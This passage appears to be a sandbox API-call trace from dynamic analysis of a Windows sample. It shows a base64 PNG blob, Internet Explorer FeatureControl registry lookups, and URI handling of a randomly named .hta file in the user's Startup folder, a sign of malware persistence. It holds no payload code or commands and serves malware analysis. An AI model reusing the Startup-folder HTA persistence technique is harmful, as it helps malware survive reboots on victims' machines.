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", ppu=0x1cd410 | out: ppu=0x1cd410) returned 0x0
[0102.900] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd3ac | out: phkResult=0x1cd3ac*=0x268) returned 0x0
[0102.900] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd3b0 | out: phkResult=0x1cd3b0*=0x26c) returned 0x0
[0102.901] RegOpenKeyExW (in: hKey=0x26c, lpSubKey="FEATURE_SCRIPTURL_MITIGATION", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd36c | out: phkResult=0x1cd36c*=0x0) returned 0x2
[0102.901] RegOpenKeyExW (in: hKey=0x268, lpSubKey="FEATURE_SCRIPTURL_MITIGATION", ulOptions=0x0, samDesired=0x1, phkResult=0x1cd36c | out: phkResult=0x1cd36c*=0x0) returned 0x2
[0102.901] RegCloseKey (hKey=0x0) returned 0x6
[0102.901] RegCloseKey (hKey=0x0) returned 0x6
[0102.901] RegCloseKey (hKey=0x268) returned 0x0
[0102.901] RegCloseKey (hKey=0x26c) returned 0x0
[0102.901] CreateUri (in: pwzURI="data:image/png;base64,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", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x1cd410 | out: ppURI=0x1cd410*=0x47db0c) returned 0x0
[0102.902] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cd2a0 | out: ppu=0x1cd2a0) returned 0x0
[0102.902] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x1cd35c | out: ppURI=0x1cd35c*=0x47c7a4) returned 0x0
[0102.902] IUnknown:QueryInterface (in: This=0x47c7a4, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cd324 | out: ppvObject=0x1cd324*=0x47c7a4) returned 0x0
[0102.902] IUnknown:Release (This=0x47c7a4) returned 0xd
[0102.902] IUnknown:AddRef (This=0x47c7a4) returned 0xe
